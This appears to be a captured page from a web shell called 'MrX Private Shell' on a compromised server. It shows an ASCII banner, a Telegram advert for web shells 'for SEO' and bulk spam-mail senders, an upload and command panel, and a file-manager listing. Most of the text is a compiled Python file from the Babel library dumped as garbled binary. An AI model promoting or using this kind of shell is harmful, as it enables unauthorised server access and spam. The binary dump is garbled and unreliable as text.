__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

*:�gK���%SrSSKJr SSKJr SSKJrJrJrJ	r	 1SkSS11Sk/r
SS	jrSS
jrSSjr
SS
jr\"5rS\S'g)z�
babel.messages.checkers
~~~~~~~~~~~~~~~~~~~~~~~

Various routines that help with validation of translations.

:since: version 0.9

:copyright: (c) 2013-2025 by the Babel Team.
:license: BSD, see LICENSE for more details.
�)�annotations)�Callable)�
PYTHON_FORMAT�Catalog�Message�TranslationError>�d�i�u�x�X>�F�G�f�gc�:�UR(d+[UR[5(d[	S5egUcgURn[U[
[45(dU4n[U5UR:wa[	SUR-5eg)z0Verify the number of plurals in the translation.z/Found plural forms for non-pluralizable messageNz*Wrong number of plural forms (expected %d))	�pluralizable�
isinstance�string�strr�list�tuple�len�num_plurals)�catalog�message�msgstrss   �9/usr/lib/python3/dist-packages/babel/messages/checkers.pyrrs�������'�.�.�#�.�.�"�$-�.�
.��
����n�n�G��g��e�}�-�-��*��
�7�|�w�*�*�*��K�&�2�2� 3�4�	4�+�c��SUR;agURn[U[[45(dU4nUR
n[U[[45(dU4n[
X#5HupEU(dM[XE5 M g)z9Verify the format string placeholders in the translation.z
python-formatN)�flags�idrrrr�zip�_validate_format)rr�msgidsr�msgid�msgstrs      r�
python_formatr(.sq���g�m�m�+��
�Z�Z�F��f�t�U�m�,�,�����n�n�G��g��e�}�-�-��*���V�-�
���6��U�+�.rc
�V�SSjnSSjnSSjn[X U45upVU(dg[XEU45upxU(aU(dU(d[S5eXx:wa[S5eU(ai[U5[U5:wa[S5e[[	XV55H-un	uup�up�U"X�5(aM[SU	S	-X�4-5e g[U5n
UHCup�X�;a[S
U<35eU"X�U5(aM+[SU<SU<S
X�<S35e g)a�Test format string `alternative` against `format`.  `format` can be the
msgid of a message and `alternative` one of the `msgstr`\s.  The two
arguments are not interchangeable as `alternative` may contain less
placeholders if `format` uses named placeholders.

If the string formatting of `alternative` is compatible to `format` the
function returns `None`, otherwise a `TranslationError` is raised.

Examples for compatible format strings:

>>> _validate_format('Hello %s!', 'Hallo %s!')
>>> _validate_format('Hello %i!', 'Hallo %d!')

Example for an incompatible format strings:

>>> _validate_format('Hello %(name)s!', 'Hallo %s!')
Traceback (most recent call last):
  ...
TranslationError: the format strings are of different kinds

This function is used by the `python_format` checker.

:param format: The original format string
:param alternative: The alternative format string that should be checked
                    against format
:raises TranslationError: on formatting errors
c��/n[R"U5H=nUR5up4nUS:XaUcM!URU[	U545 M? U$)N�%)r�finditer�groups�appendr)r�result�match�name�format�typechars      r�_parse� _validate_format.<locals>._parse[sV��(*��"�+�+�F�3�E�%*�\�\�^�"�D�(��3��4�<���M�M�4��X��/�0�	4�
�
rc�F�X:Xag[HnX;dM
X;dM g g)NTF)�_string_format_compatibilities)�a�b�sets   r�_compatible�%_validate_format.<locals>._compatibleds%���6��1�C��x�A�H��2�rc�j�SnUH!up#UcUSLnMUSLU:wdM[S5e [U5$)Nz5format string mixes positional and named placeholders)r�bool)�results�
positionalr1�_chars    r�_check_positional�+_validate_format.<locals>._check_positionallsP���
�"�K�D��!�!�T�\�
��D�L�Z�/�*�,D�E�E�#��J��rNzplaceholders are incompatiblez)the format strings are of different kindsz-positional format placeholders are unbalancedzDincompatible format for placeholder %d: %r and %r are not compatible�zunknown named placeholder z$incompatible format for placeholder z: z and z are not compatible)rr�return�list[tuple[str, str]])r8rr9rrEr>)r?rFrEr>)�maprr�	enumerater#�dict)r2�alternativer4r;rBr8r9�a_positional�b_positional�idx�_�first�second�type_mapr1r3s                rr$r$>sJ��:��	 ��v��,�-�D�A���"%�%6�A��!?��L��L���>�?�?�	�	%��J�K�K���q�6�S��V��"�$0�1�
1�.7��A�	�.B�*�C�*�*�1�k�q��u�-�-�&�(J�(+�a���'?�(@�A�A�/C���7���N�D��#�&�)C�D�8�'L�M�M� ��D�>�:�:�&�:�4�(�"��l�%���'9�9L�N���	 r�1list[Callable[[Catalog | None, Message], object]]c��SSKJn /nURSU"S555 [U5S:Xa[[
/$U$)Nr)�find_entrypointsc3�4# �UHupU"5v� M g7f)N�)�.0r1�loads   r�	<genexpr>�!_find_checkers.<locals>.<genexpr>�s���R�/Q�|��D�F�F�/Q�s�zbabel.checkers)�babel.messages._compatrT�extendrrr()rT�checkerss  r�_find_checkersr^�sA��7�BD�H��O�O�R�/?�@P�/Q�R�R�
�8�}����]�+�+��Orr]N)rzCatalog | NonerrrE�None)r2rrJrrEr_)rErR)�__doc__�
__future__r�collections.abcr�babel.messages.catalogrrrrr7rr(r$r^r]�__annotations__rVrr�<module>resV��
�#�$�T�T���#�J��"��4�(
,� \�~�?M�>N��
;�Nr

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 472 B 0644
_compat.cpython-313.pyc File 1.42 KB 0644
catalog.cpython-313.pyc File 43.18 KB 0644
checkers.cpython-313.pyc File 6.54 KB 0644
extract.cpython-313.pyc File 32.85 KB 0644
frontend.cpython-313.pyc File 52.74 KB 0644
jslexer.cpython-313.pyc File 7.69 KB 0644
mofile.cpython-313.pyc File 7.77 KB 0644
plurals.cpython-313.pyc File 6.01 KB 0644
pofile.cpython-313.pyc File 32.1 KB 0644
setuptools_frontend.cpython-313.pyc File 4.07 KB 0644
Filemanager